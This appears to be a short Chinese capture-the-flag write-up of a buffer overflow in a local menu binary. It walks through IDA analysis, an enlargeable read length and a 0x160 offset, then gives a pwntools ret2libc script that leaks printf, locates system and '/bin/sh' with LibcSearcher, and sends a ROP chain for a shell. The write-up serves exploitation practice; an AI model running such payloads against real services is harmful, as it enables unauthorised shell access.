先查看文件

托入ida进行查看

没有什么东西


可以看到首先有个死循环,就是不断的循环,让你选择不同函数作用
在图6可以读取到read这里有个明显的漏洞
接着我们要调节nbytes上面的参数
在图5上面的是把nptr的地址化为(unsigned int)接着下面的函数(第二个框)就把nbytes改变了

可以跑程序看一下
在3函数随便改变输入就可以造成nptr值的改变
接下来找一下偏移

可以看到偏移是0x160
接下来就可以编写脚本了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * from LibcSearcher import *
context.log_level='debug'
p=process('./app')
pop_rdi=0x401233
ret=0x40101a
p.sendlineafter('password:',b'asdd')
p.sendlineafter('4.Exit',b'3')
p.sendlineafter('deposit:',b'a')
p.sendlineafter('4.Exit',b'5')
p.recvuntil('gift:')
printf_addr= int(p.recvline()[:-1], 16) ''' p.sendline(b'a'*8) ''' print(hex(printf_addr))
libc=LibcSearcher('printf',printf_addr) libc_base=printf_addr-libc.dump('printf') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x160+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret)+p64(system_addr) p.sendline(payload)
p.sendlineafter('4.Exit','4')
p.interactive()
|